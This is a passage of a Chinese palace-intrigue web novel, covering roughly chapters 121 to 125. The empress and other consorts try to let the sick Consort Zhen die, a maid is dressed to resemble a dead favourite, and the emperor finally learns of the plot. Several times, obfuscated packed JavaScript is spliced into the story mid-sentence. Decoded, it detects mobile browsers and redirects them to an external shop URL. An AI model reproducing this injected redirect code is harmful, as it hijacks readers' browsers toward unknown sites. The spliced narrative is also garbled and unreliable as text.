他那日,看见绯儿脸上有伤,是忍不住发作了江澜因几句。 事后想想,虽也觉得有几分蹊跷。 可就算、就算江澜因是被冤枉的,难道不该是她来求着皇帝,来陈情? 难不成,还等着朕这个皇帝,去求她? 再说,就算那绯儿不是江澜因罚的。可那四爪金龙,明明白白就是她的错处。 毕竟,阖宫上下那么多妃嫔,只有江澜因知道,太子还活着。 她的心思,到底…… 御辇扶手上凸起的花纹,咯得指尖有些发疼。顾辰枭不耐到了极致,“去翊坤宫……” 当面问她! 不等随行的大太监苏忠远答应。 皇后花厅的暖帘微微一动,是素月满面堆笑,“皇上来看皇后娘娘,皇上快请,娘娘早就虚位以待了。” 皇帝沉吟一瞬,“落轿。” 先见皇后,再去翊坤宫不迟。 进了花厅,才瞧见,原来贤妃也在。 贤妃见到顾辰枭,一双眼睛瞪得大大的,惊讶过后,便现出几分委屈。 前几日,听说皇帝驾到永和宫,她急急忙忙地抛下江澜因赶了回去。 却并未被临幸。 皇帝只是问她,品茗宴江澜因筹备得如何。 都是摆在明面儿上的东西,不能扯谎。 贤妃只好照实说,“贞妹妹耐心又细致,筹备得不错,样样儿都不缺……倒是臣妾,捡了个现成的便宜。” 她姿态摆得极低,本以为皇帝会安慰她两句。 不想皇帝没听见最后那句话一般,只是点了点头,若有所思的模样。 然后便起驾,走了。 一刻都未多留。 贤妃只觉是被海贵人、黄玉珠看了笑话,满心的愤懑无处发泄,气得肝疼。 今日又遇到,她飞快地看了一眼皇后,鼓起勇气道: “皇上许久不曾看过海妹妹与黄妹妹了。黄妹妹她新入宫,心中常惴惴不安,臣妾斗胆,请皇上也去看看她吧。” 借着黄玉珠的名,先把皇帝请去永和宫。 黄玉珠反正不敢和她这个一宫主位争些什么。 提到黄玉珠,顾辰枭皱了皱眉。 这个小黄氏性子偏温良些,倒是和她的姐姐黄琳琅不一样。 黄家是自己一手培养的嫡系,不好太冷着他家的女儿。皇帝刚想应下。 皇后含笑开口:“贤妃妹妹心慈,见不得年轻的妹妹受苦。只是,年年新入宫的新人那么多,难不成倒要让皇上挨个儿去开解她们?世上没有这样的道理。” 何皇后看向顾辰枭,温声道:“皇上政务辛苦,本宫和各位妹妹该以身作则,为皇上分忧。怎么还要叫皇上去哄呢?太不懂事了些。” 顾辰枭不觉点头。 皇后说得极是。 一想到那些新入宫的秀女,皇帝便觉得,有些烦。 太子顾言泽“死后”,前朝本就一直在吵嚷他子嗣不丰,不是大盛之福。 还议论让他转过年去,再次选秀。 不胜其烦。 何皇后看皇帝一眼,多年的相伴,让她把皇帝的心思猜了个**不离十。 “说到底,如今后宫的妹妹还是太少,臣妾这个皇后不称职,皇上的子嗣也太单薄了些。”何皇后叹了口气,“贞妃也是个无福的。她承雨露最多,肚子却没动静。叫臣妾好生失望。” 提到江澜因,皇帝眉心愈发拧巴得厉害。 一句都未替她辩解。 何皇后心中愈发有数,又道:“皇上若不想那么快就再次选秀,不若,在这波秀女中拔擢几个看得过眼的,也好堵住那些老臣的嘴。对吧,贤妃妹妹?” 贤妃不情不愿:“皇后娘娘说得极是。” 选一两个秀女升升位份。 顾辰枭自然知道,这是堵朝前那群老帮子的嘴最好的法子。 可那几个秀女,他除了黄玉珠,对旁人都没有什么太大的印象,在他眼中,都和宫女是一样的。 皇帝抬头,一眼瞧见何皇后身后侍立着的一道淡红色的倩影。 “就她吧。” “什、什么?”贤妃一愣,忍不住叫出声来,“皇上,那不是秀女,不过是个宫女……” 何皇后面上微愣。 眼中却闪过一丝得意,她故作惊讶地开口:“丫头,你得了天大的好运,还不跪下谢恩?” 今日随侍皇后的,赫然就是绯儿。 绯儿娉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287806|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娉婷婷走出来,跪地谢恩,一双有几分像何樱的眸子盛满了感激的泪水,“谢皇上,奴婢多谢皇上。” 贤妃:…… 顾辰枭:“封她一个贵人。” “奴婢……嫔妾绯儿,叩谢天恩!” 皇帝走后,一个在外面探头探脑许久的小宫女进来禀报:“皇后娘娘,翊坤宫的绣品,呈上来了。” 何皇后冷笑,点了点头,“拿去,给咱们这位新贵人看看。” 绯儿深吸一口气,细细看那绣品。 看完,紧绷的肩膀垂下,面上带笑:“皇后娘娘,翊坤宫那位,这几日,可吃了些苦头。” “哦?” 听说江澜因倒霉,何皇后多了几分兴致,“说说。” “她是真的病了。初时不过是风寒,可她性子倔,皇上不去看她,她竟也不传太医。拖到如今,说是一日更比一日重了。” 绯儿压低声音,“听说今日早些时候,她咳血了呢!” “竟这样严重?” 何皇后面上闪过一丝惊诧,“替本宫传个太医过来请平安脉。” 林太医去后,何家一时还未寻到第二个太医。 今日来的金太医,是个普普通通的太医,不是何家的人。 何皇后:“敢问太医一句,这风寒若延挨着不治,可会呕血?” 江澜因狡黠,不会是故作病重,为惹皇帝心疼吧? 金太医:“回皇后娘娘的话,若是风寒拖得久了,发起高热,风邪犯肺,咳嗽不止。更兼心情郁结,虚火上炎,确容易咳血不止。只是……” “但说无妨。” “若再不及时治疗,发展成肺热壅盛,只怕是……危及性命,神仙难救。” 何皇后眼睛猛地一亮。“你是说,再拖下去,会死?” 金太医无奈,“若热盛伤阴,不过一日半日,只怕就要阴竭而亡。” 再过一日半日…… 若无人救治江澜因,她就会死。 这……敢情倒好。 就让她,**吧。 何皇后眼珠微转,向素月道:“去太医院、内务府都知会一声,就说……” “贞妃倔强,与皇上置气。皇上如今正在气头上。” “谁帮着贞妃,谁就是与皇上作对。该怎么做,他们自己心里清楚。” 第122章 置江澜因于死地 第一百二十二章置江澜因于死地 素月有些担心,“可贞妃若真的无福,皇上会不会怪罪……” “无妨。” 何皇后唇角一挑,眼中闪过冷光,“本宫可什么都没说,都是他们自己的抉择。” 素月愣了愣,笑道:“娘娘聪慧。” 既然那个贞妃想闹,就让她闹个够!**也是她活该。 另一边,顾辰枭本想去翊坤宫。可中途又有些紧急政务,到底没去得成。 皇帝一日两日不去,翊坤宫愈发冷寂下来。 宫门紧闭,庭院也未时时扫洒。残雪碎冰,随处可见。 竟显出了几分凋敝。 小胖子随意看了一眼,躬身进殿内,“娘娘,都按您说的布置好了。” 衰草寒烟,处处凄凉。 皇上看了,还不得心疼死娘娘? “只是……”小胖子欲言又止,“奴才有话僭越,不敢说。” “你说便是。” 上首,江澜因斜依在贵妃靠上,纤细的手撑着下颌,不时轻咳几声。腕上几只白玉叮当镯,随她动作,碰撞出清脆声响。 小胖子不敢多看:“娘娘何必自苦?若按奴才说,脸色唇色,奴才和师兄都能为娘娘装扮出来,为何非要真的……” 江澜因笑了一声,“瞒得过皇上的眼睛,却瞒不过太医院。” 若不是还没寻到合心意的太医,江澜因也不想自己遭这个罪。 她重生一世,可是一点苦都没打算吃。 稍晚些时候,小瘦子从翊坤宫外回来禀报: “娘娘,外面如今都在传,说您虐打宫女,惹得皇上不悦,已然失宠。” “虐打宫女?再没说别的。” “奴才听得真真儿的,再没有旁的话了。” 江澜因略显苍白的脸上,笑意更盛了些。 看来,龙袍一事,皇帝压下去,不许人议论。看来皇帝心中,当真是在意得不行。 江澜因:“还有呢?” “外面还传,说皇后娘娘差人去安抚侯夫人,可侯夫人不依,偏要合离,还要侯府退还嫁妆。事情闹得纷纷扬扬,只怕宫外也有些传言……” 都是说江澜因不好的,不堪入耳。 江澜因不必听,也猜得到。 她轻轻笑了笑,“把皇后为三皇子择了崔氏女的消息放出去,就说皇后要助那崔氏女在除夕宫宴上大放异彩。” 文氏这辈子的执念,就是想看文师师风光。 她这个做女儿的,怎好不满足亲娘? 正说着,雪色走进来,脸色不太好看。 “小姐,你看,内务府送来春装的料子。这、这都是些什么啊?” 江澜因一眼扫过去,见那叠料子颜色都十分老气,翻开来看,内里竟有虫咬的痕迹,根本用不了。 雪色:“秦国海欺负人!奴婢找他们去。” “回来。”江澜因淡淡道,“若还是这般耐不住性子,本宫只好送你出宫。” 雪色跪下,眼眶发红,“小姐,奴婢们有什么,就不做春装也不要紧的。只是,下面的宫人,一时若短了衣裳,只怕他们离心……” 翊坤宫比瑞福殿大出去几倍还不止,用的下人人数多,来历也杂。 雪色是担心他们领不到属于自己的东西,心生不满,会闹。 如今的翊坤宫,再禁不起下人背刺了。 “猪脑子也有聪明的时候,”江澜因笑着,莹润的指尖扣成圈,轻弹了一下雪色额头,“把消息传出去,正好试一试本宫这宫中,还有没有吃里扒外的蛀虫。不是好事吗?” “是、是好事……” 雪色欲言又止,“可不仅是内务府捧高踩低,还有御膳房……送来的东西,都是小姐平日里不爱吃的,小姐根本入不了口。” 磋磨人的法子,又高了一级。 雪色:“连着几日了,尽是些什么羊皮花丝、热洛河沸血、春申舌签……” 都是稀贵的好东西,可小姐根本不吃内脏。入不了口,多贵的东西,都是白给。 可若去御膳房吵,人家一句“贞妃这一桌,价值千金都打不住,还嫌不好。” 只会平白给江澜因惹祸。 江澜因目光微沉。 到了晡时,翊坤宫众人只听得殿内摔盘摔碗,并一声声撕心裂肺的咳嗽。 声音传到绣房。 临窗坐的绣娘面上笑意越来越浓,“她还以这贞妃有怎样了不得的手段,不想是个这般耐不住性子的。想来她之前得宠,也不过是运气好罢了。” 屋内旁的五个绣娘,却没她那么好的心绪。 有人忍不住开口道:“听说贞妃病重。她要是真有个什么三长两短,搞不好要咱们殉葬。婉儿,你那手绣功,本是咱们中最好的。要是就这么**,你甘愿?” 这些绣娘都是何家送到宫里的。像她们这样给何家卖命的,还有很多。 若侥幸用不着她们,一辈子在宫里,也就这么平平安安地过了。 可一旦要是用得上,就是赴汤蹈火在所不辞。八成,是要交代一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300168|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条命出去。 想着自己可能的结局,几人都惴惴不安。 唯有婉儿,一双眼睛闪闪发亮。 她目光穿过窗棂,看向江澜因正殿方向。“她**最好,我甘愿与她一命换一命。” 稍晚些时候,两个宫女借着夜色掩映,从邱嫔宫中给江澜因提来了两个食盒。 “……那御膳房总管,早先受过皇后恩惠。邱嫔娘娘担心他出阴招苛待,亲手做了糕点。邱嫔娘娘记挂贞娘娘,请娘娘放宽心,明日她还要来看您呢。” 揭开食盒盖子,白色水汽裹着甜香扑面而来。 江澜因忍不住弯了眼睛,“回去告诉你们娘娘,明日不必来。” 苏忠远那边已安排好。 明日,也该叫皇帝来看看了。 可到了第二日,等到晚间,也没有圣驾的消息。 皇帝被何皇后留在了坤宁宫,西暖阁。 盛装的绯儿,穿着当日贵妃最喜的浅樱色,头上簪着芙蓉玉制成的细碎小花。莹粉色的珠玉,宛若落英,点缀在她乌黑的发间,为她平添一分清纯娇媚。 隔着薄薄的水粉色纱帘,看上去,三分像变做了七分。 “皇上……” 床帷内,绯儿娇怯怯地抬头,颤声唤着。 这模样,这姿态,都是她照着贵妃的画像苦练已久,又得了何皇后真传,练出来的。 看在顾辰枭眼中,他甚至有那么一刻的恍惚。 像,太像了。 眼前人与记忆中的女子重叠。 顾辰枭张了张口,只觉口中发干。指尖碰到那绯色纱帘,竟不敢就这样掀起。 两人离得近,足够绯儿看清楚皇帝眼中翻涌的情绪。 心中的忐忑被抚平。 她心中知道,事情成了。 皇帝忘不了贵妃,她与贵妃的这三分相像,会给她带来不尽的荣华富贵,助她一步步向上…… 门口处,一阵脚步声传来。 “禀皇上,翊坤宫里面,闹起来了。” “贞妃娘娘她、她……说是,不好了。” 绯儿心中一紧,忙看向皇帝。 为了维持住贵妃善良单纯的形象,就算皇帝这时候拂袖而去,她也不该拦,不能拦。 可,好不甘心…… “皇上……” 绯儿咬唇,抬头。 却发现皇帝眼中,只有自己娇柔的身影。 刚才那太监的话,好似没听见,完全没往心里去。 皇帝真的不管贞妃了? 第123章 贞妃不行了? 第一百二十三章贞妃不行了? 巨大的惊喜涌上来,反复冲刷着心脏。 绯儿纤细的身子,微微发颤。 她之前在翊坤宫,几次都按照皇后的吩咐,出现在皇帝跟前。那时皇帝根本没有什么反应。眼睛里只有贞妃。 她当时还以为,完了。 没想到…… 她也能有今天! 透过纱帘,绯儿眼中的一切,都蒙上了一层淡淡的粉红。 再看近在咫尺的帝王。皇帝原本棱角分明俊朗的脸,被轻纱笼上了一重罕见的柔和,冲淡了平日的冷厉和威严。 更枉论顾辰枭眼中光芒极盛,宛若深空中熠熠的星辉。 叫人不觉想要沉醉。 这是天底下最尊贵的男人! 此时此刻,他的眼中,只有自己。 绯儿只觉呼吸都带着甜,她醉了。这样的日子,哪怕只有一夜,不,只有一刻。 哪怕让她享受过了就**,她也甘愿! 颤抖的指尖伸出去,攥紧了那层薄纱。 只要掀开,就能投入皇帝滚热的怀抱中,做成好事。 绯儿动情,把皇后教她记住的贵妃仪态忘得一干二净。 “皇上,嫔妾伺候您更衣……” 绯儿泛着粉的指尖,从轻纱缝隙中探出来,向皇帝衣襟伸去。 被顾辰枭一把攥住。 透过缝隙,男人清清楚楚地看见,眼前的女子是谁。 如迷梦初醒,皇帝脸上勃然变色。 不自觉地手上加力,顾辰枭面色冷沉至极,“……是你。” 绯儿一双大眼睛水意盈盈,“是、是嫔妾。嫔妾也可以是旁人……”是贵妃。 只要皇帝愿意。 绯儿能把贵妃的模样学得十成十分相似。她心甘情愿。 腕上传来大力。猝不及防间,绯儿没站住脚,竟被搡得**几步,跌坐在身后榻上。 她瞪大眼睛,还未从美梦中醒来,“皇上?” 却见眼前粉色纱帘荡起。 皇帝拂袖而去。 绯儿简直难以置信! 她刚才,距离皇帝那么近,看得清清楚楚,皇帝明明已经情动! 为何不要她? 为何不愿面对? 绯儿岂能甘心?她随手扯了一件外衫披在身上,追了出去。 院中,顾辰枭脚程快,早已不见了踪迹。绯儿追出来,却只见到素月。 她浑身温柔缱绻的气息一敛,规规矩矩站好,垂下头去,“素月姐姐,可是皇后娘娘有什么吩咐?” “呵……”素月似笑非笑,“贵人没留住皇上。皇后娘娘有请,随奴婢来吧。” 翊坤宫正殿里。 “啪!” 一记响亮的耳光,掀在绯儿脸上。 素月用了十足的力气,打得她歪倒在地上。精心装饰的芙蓉玉从头上掉下,摔碎了。 稀碎的玉石花瓣,散落一地。 “没用的东西,”何皇后冷道:“本宫悉心教你,帮你,你却连留住皇上侍寝都做不到。” 绯儿瑟瑟发抖,不满隐瞒,“刚才明明好好儿,只怕最后一步。皇上却走了……定是、定是外面来通报贞妃消息的小太监坏了事!” “住口!你还想骗本宫?” 何皇后面色愈发黑沉,“那小太监喊过,皇上没有马上出来,本宫叫人拉那小太监下去,故意弄出些声响,皇上也没有反应。可见皇上走,不是因为贞妃。” 绯儿咬唇。 她也觉得,刚才自己明明已经留住了皇帝,却在最后一刻坏了事。 何皇后:“与贞妃无关。说到底,还是你学不来本宫那庶姐模样,没能迷住皇上!你说,是也不是?” 知道瞒不过去,绯儿流泪道:“娘娘,真的只差最后一步。嫔妾下次、下次一定能做的更好!求娘娘,再帮嫔妾一次吧。” 看着堂下趴着的外室女,何皇后深吸了一口气。 ——这个绯儿,已是何家最像贵妃的了。皇后暂时没有别的选择。 “罢了。扳倒贞妃,你也有功。这次,本宫不罚你。” 绯儿跪在地上,长舒了一口气。 “素月,扶她起来。给她拿上好的雪颜膏,可别叫她那张漂亮的小脸上留下什么痕迹,又惹皇上心疼。” 本就是凭着绯儿脸上的手掌印,治了江澜因的罪。 何皇后似笑非笑,“本宫已经告知内务府,你姓沈,往后就是沈嫔。本宫拨归春苑给你一个人住。本宫可是把庶姐在闺中的钗环都拿给了你,你可千万勿要让本宫失望啊。” 绯儿摇摇晃晃地站起,攥紧了手指。 这次,她没能侍寝,是因为最后一刻,皇上认出了她不是贵妃。 但是不要紧,她会努力,再努力,扮得更像些。 只要皇上心中还念着贵妃,她就一定能得宠,一定! “皇后娘娘放心,嫔妾定将竭尽全力!” 另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300169|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 顾辰枭离了坤宁宫,脑中思绪纷纭。 皇后抬举这个绯儿,不外乎因为她有那么几分像贵妃。 可……只有顾辰枭自己知道。 刚才,隔着纱帘,心中生出悸动。 是因为…… 他把眼前人,认做了江澜因。 想起她头戴琉璃珊瑚冠的模样,想起她在自己怀中哭着的模样,想起…… 他口中唤着“樱儿”,她流着泪,委屈答应的模样。 她为了他,宁可忍着心痛,受着误会,被他当做旁人…… 因因……他的因因…… 顾辰枭:“让翊坤宫的人,准备接驾!” 一路小跑跟上来的苏忠远一愣,强忍住惊喜,刚要答应。 眼前出现一个急急奔过来的小太监,身后还跟着个年轻的太医,两人步子都很急。 顾辰枭拧眉:“是哪宫传的太医?” 不会是因因吧? 两人停下行礼。小太监道:“回皇上的话,是永和宫。” “永和宫?谁病了?” “黄贵人风寒,说是……有些严重。” 瞬间的沉吟,顾辰枭:“先去永和宫。” 再去翊坤宫看因因,也来得及。 永和宫。 贤妃领着海贵人出来接驾,满面忧虑:“皇上,黄妹妹病了几日了,昨夜臣妾听得她咳了一整晚,臣妾忧心,才传了太医。没想到,惊扰圣驾。请皇上赎罪。” 她故意的。 贤妃虽和皇后不睦,但何皇后的话,她是认可的。 “……只要拖上一两日,贞妃就再也不碍事了。” 那贞妃,独占着圣宠,本就该死。 贤妃愿意出一份力。 她引着皇帝与金太医到了西偏殿。 黄玉珠正卧在榻上,听见人来了,拼命咳嗽。 顾辰枭皱眉。 本以为小小风寒,没想到竟这样严重。眼看着黄玉珠翻身起来,往帕子上吐了一口。 她身边的宫女变了脸色,“血!贵人,您怎么咳血了?” 顾辰枭:“怎这样严重?太医,快去瞧瞧黄贵人。” “是。” 金太医药箱都不及放下,便赶过去。 他皱眉道:“怎又是一个咳血的,只怕……” 顾辰枭猛地一愣,心底浮现不祥的预感。 “又一个?” “宫中还有人咳血?是谁?” 第124章 不可专宠贞妃,不是社稷之福 第一百二十四章不可专宠贞妃,不是社稷之福 金太医一愣。 他那日只是听皇后问了一句。可皇后没说,咳血的是谁。正不知怎样答。 黄玉珠又一阵剧烈的咳嗽,把顾辰枭的注意力吸引过去。 见皇帝没有追问的意思,金太医暗自松了一口气。 给黄玉珠诊了脉,“……是风寒。贵人不必忧心,微臣这便开一副暖血驱寒的方子来,贵人待会儿服用一碗,好好歇上一宿,明日早起,便能好大半。” 顾辰枭听了,点头:“就按太医说的做。” 说罢,竟有要起身离开的意思。 贤妃与海贵人飞快地交换了一个眼神。 贤妃向金太医道:“黄妹妹这几日不止风寒。本宫听着,她夜梦不安,夜间总见些哭声。是不是忧思郁结,需要开解?” 需要皇帝的陪伴? 金太医微愣。他能做太医,自然不蠢。 只得顺着贤妃的话说:“这……便是心病还须心药医了。” 海贵人忙撺掇道:“黄妹妹年纪小,嫔妾不忍心看她这样可怜。求皇上,今夜陪一陪黄妹妹吧。” 顾辰枭微微拧眉。 这个黄玉珠……他父兄得力,皇帝不愿冷待她,叫她寒了心。 再说,她的位份,是这一波秀女中除了江澜因外,最高的。是第一人。 留下陪她…… 明日再去看因因,也无碍。 正沉吟间,耳边重又响起海贵人的声音:“……只是,黄妹妹如今也病着,皇上若守在妹妹身边,只怕过了病气。不若,皇上今夜留宿贤妃姐姐处,左右离黄妹妹也近,有龙气震慑,想来黄妹妹也不至于再噩梦惊醒了。” 她这话一出。 榻上的黄玉珠猛地瞪大了眼睛。 之前贤妃明明同她说好的,让她得个小小风寒,贤妃帮她留住皇帝夜宿,让她侍寝! 可现在,黄玉珠几桶冷水浇下去,真的浇得自己咳嗽、发热。 贤妃和海贵人居然要抢走皇帝! 这算什么? 黄玉珠急着张口,要说什么,却只觉一股子冷风呛进口中,又激得咳嗽不止。 一句话都说不出来。 贤妃见状,连忙上前挡在皇帝和黄玉珠中间。 担忧道:“皇上,臣妾听闻患有风寒者口沫亦能过病气。臣妾请皇上移步去臣妾的正殿。” 顾辰枭拧眉。 他乐意留下一晚,是为了黄家的面子。 可这贤妃,虽说出身后族,极其高贵。家中几代却早就没有前朝的男人。 不堪大用。 不是非要敷衍她不可。 海贵人又开口:“皇上,贤妃姐姐前几日筹备品茗宴,着实辛苦。皇上还未嘉奖她。” 贤妃满面通红,“海妹妹,别说了。” 顾辰枭看了海贵人一眼,淡淡道:“阖宫上下,该这样直言劝谏朕的,也只有你一个了。” 贤妃:“皇上,海妹妹她脾气直,您千万别怪罪。臣妾回头再教她。” “朕看出来了,你们今日是不打算让朕出这永和宫。” 顾辰枭眸色幽深,他本想就走。 却听贤妃又道:“自从江妹妹入宫,皇上专宠,后宫中旁的妹妹口里不敢说,心中岂能不怨?皇上……” 她撩起裙摆跪下,劝谏道:“求皇上,雨露均沾。” 顾辰枭眉毛拧得很紧。 他这才反应过来,自从江澜因入宫封妃,他确实…… 不曾宠幸过旁的妃嫔。 他的偏爱,有这么过分吗? 修长有力的手指,无意识地摩挲着衣摆。滑溜溜的绸缎流过掌心,水一样泛着凉。 若换成年轻、刚登基时的顾辰枭,根本不会在乎什么专宠不专宠。他喜欢谁,就是要宠幸谁,给谁无上的荣耀。 可在皇位上坐了这么多年,经历过无数明争暗斗,失去了曾经挚爱的贵妃。 顾辰枭现在明白,皇权是权衡。 过满则溢,月盈必缺。 这段日子,他那样宠爱江澜因。 ……只怕,会害了她。 顾辰枭记得自己亲口教导过江澜因,做皇帝的妃嫔,必须容得下别的女人。 当时因因很难过,可她强迫自己做到了。 反倒是自己这个皇帝,无人提醒,险些犯下大错。 耳听黄玉珠压抑着咳嗽,皇帝心中奔涌的思绪平复下来。 生而为人,就算是至高无上的天子,也不能时时事事都依着自己的心意行事。 “苏忠远,去告诉贞妃,朕今夜在永和宫,明日再去看她。” 苏忠远一愣。 皇帝今夜不去翊坤宫不说,还非要自己去通传一声。这不是扎江澜因的心吗? 也太羞辱人了。 为何? 他试探道:“皇上,不若明日去翊坤宫,您再亲口和贞娘娘说?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300170|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾辰枭面色发沉。 这是提醒他自己,也提醒江澜因。 后宫不可一人专宠。 他和江澜因,想要长长久久,就都要牢牢记住这一点,时刻警醒。 知道因因会难受。可她是皇帝的女人,这样的煎熬,后宫每个妃嫔,包括皇后,都受过。江澜因也必须要受。 皇帝:“朕叫你去。你去就是。” 苏忠远无奈,“……是。” 他躬身**着走出室内。 却被贤妃的贴身婢女聆月拦住。 “苏公公,天色已晚,想来那贞妃等不到皇上,已睡下了。你又何必非要去跑这一趟呢?” “是皇命。聆月姐姐要拦?” “奴婢怎么敢?” 聆月面上带笑,眸光却冷。 贤妃娘娘也是交代了,这太监想出去可以,再想进来传信儿,可就难了。 她会拦住。 只要拦过这一夜,到明日,只怕那贞妃也是无力回天,死定了。 聆月让开前路,“既如此,苏公公请吧。” 苏忠远与她擦身而过,一步步向门口走去。 思绪乱纷纷的。 江澜因不许他在御前替她说话,一句都不行。 是怕他暴露身份,保护他。 可、可是…… 若果真如此,他这个御前太监,帮不上主子。他有什么用? 苏忠远眸色一身,转过身去。 聆月一愣:“苏公公,你、你要干什么?” “扑通”一声。 苏忠远双膝重重砸在地上,声音中带了哭腔。他大喊道: “皇上,奴才不敢再欺瞒您。刚才翊坤宫中传来消息,说、说……贞妃娘娘病重,只怕要……不成了!” “什么?” 殿门被由内而外一脚踹开。 顾辰枭什么都顾不得了,“什么时候的事?为何不禀报朕知道?起驾,去翊坤宫!” 他身后,贤妃跟着快步出来。 她脸色难看至极,狠厉地瞪了苏忠远一眼。大声道:“皇上别被这阉人给骗了!他根本就是贞妃的人!” 冲出去的脚步一顿。 心中隐隐的怀疑,被叫破。 顾辰枭黑沉的眸子,盯在苏忠远背上。无形的威压释出,压得苏忠远脊背绷紧,心脏砰砰直跳。 顾辰枭:“你一直跟在朕的身边,朕都不知道,你怎么知道贞妃病了?” 第125章 褫夺妃位,降为贵嫔 第一百二十五章褫夺妃位,降为贵嫔 贤妃眼中闪过一丝狠戾。 苏忠远这个御前太监有几分能耐,又爬得太快。她堂堂贤妃,几次接触示好,都没能收服他为自己所用。 既如此,这人也留不得了。 贤妃上前逼问,“你本就是靠着为贞妃说话,才入了皇上的眼。观你种种行径,莫非,你一开始就是贞妃的人?” 海贵人也追出来,“皇上,此等奸邪小人,岂配得上在御前伺候?皇上早早发落了他,以正宫规!” 要不分青红皂白,就处置了苏忠远。 顾辰枭目光愈沉,带着怒意,千斤寒铁一样压在他身上。 这太监若是江澜因的人,那只能说明…… 江澜因从一开始,就在说谎。 今日,务必要处置了苏忠远。江澜因也不清白! 被皇帝威压牢牢禁锢在地上,一动都不敢动。更兼贤妃、海贵人两道阴冷的目光,也箭一般穿刺着苏忠远的身体。 苍白修长的手指撑在地上,下意识地抠紧。指甲缝隙一阵发疼。 苏忠远咬紧牙关:“皇上,奴才……确实是贞妃送进宫的。” 顾辰枭眸色愈沉。 好啊,真好。 江澜因,竟真往御前安插自己的人。她还没有何皇后那两分手段呢!她怎么敢? 怎么敢连自己这个皇帝也骗了去! 贤妃听太监承认,心中一喜。竟被自己误打误撞,给蒙对了?当真好运! 皇帝雷霆般开口:“说!” 苏忠远连连叩头:“奴才出身京郊宝安县。皇上可记得几年前,宝安县城发了大水,颗粒无收。奴才一家子,眼看着要饿死,是一位京中的恩人,匿名捐赠银两、吃食,救了奴才满县的性命。” 贤妃一愣,忙道:“你们侥幸得活,该叩谢天恩。怎么倒因此,被旁人收买了去?” “收买?” 苏忠远一愣,“奴才当不起‘收买’这两个字。那年的大水冲塌了房屋,冲毁了田地,活下来的人无工可做,没有钱粮。又是那位恩人,想法子安排咱们营生。奴才运气好,是个天阉,就入了宫。” “还是最近,奴才在翊坤宫见到恩人的信物,才知道恩人竟是当时还尚在闺中的贞妃。皇上若说奴才是贞妃的人,奴才这一条命,确是娘娘救的。” 这一番话,贤妃率先听出不对。她张了张口,还要再说。 皇帝:“你把她当恩人,可有为她,背叛过朕?” “奴才岂敢?” 苏忠远磕头,“奴才若真被娘娘收买,就不会把娘娘病着的消息,帮着瞒到如今。” “什么?瞒着什么?谁叫你瞒的?” 顾辰枭声音隐瞒着怒意。 贤妃下意识知道不对,想要开口。 苏忠远已磕头哭答道:“皇上,这几日翊坤宫来了多少下人请皇上,皇上一次两次不肯去,下面人慢慢不肯再通报。奴才原也不敢说这些话的,可想起贞妃对奴才到底有救命之恩,奴才心里煎熬不过……” 皇帝没兴趣知道一个太监心里如何痛苦纠结。 他拧眉,上前几步,“朕什么时候不肯去看贞妃了?” 苏忠远抬头,一脸疑惑,“品茗宴上,奴才没伺候在旁。可不是皇上不愿见贞妃,还叫侍卫赶走了翊坤宫的太监吗?” 怒气如海潮,一重重拍击着心岸。顾辰枭面色青白,额角砰砰直跳。 这几日的情景,如走马灯一般在眼前飞快闪过。 原来…… 原来不是因因置气,不理睬他。 是被人拦住了! 定是……是那日他差下人,当众训斥江澜因,叫她在宫中失了颜面。众人以为她失宠,才敢这样一脚脚地踩她! 竟瞒得自己这个皇帝,一点儿不知道! 这其中,都有谁的手笔?只怕,少不了…… 皇帝满腔的怒意,直接冲着身边的贤妃怒吼出来:“连朕身边的人都敢欺瞒至此!你这次品茗宴,倒是办得好!办得漂亮!” 贤妃:??? 可她倒霉,撞在了枪口上,不敢辩驳。 皇帝:“贤妃乌氏有失。从即日起,降其为贤贵嫔,海贵人、黄贵人罚俸,永和宫阖宫上下,禁足!” 贤妃难以置信,她从入宫起就是妃。 皇帝竟如此羞辱她! 大滴大滴的泪水,在眼眶里打转。贤妃瘫软在地,眼睁睁地看着顾辰枭拂袖而去。 “小忠子,你还在愣着做什么?还不跟上来?” 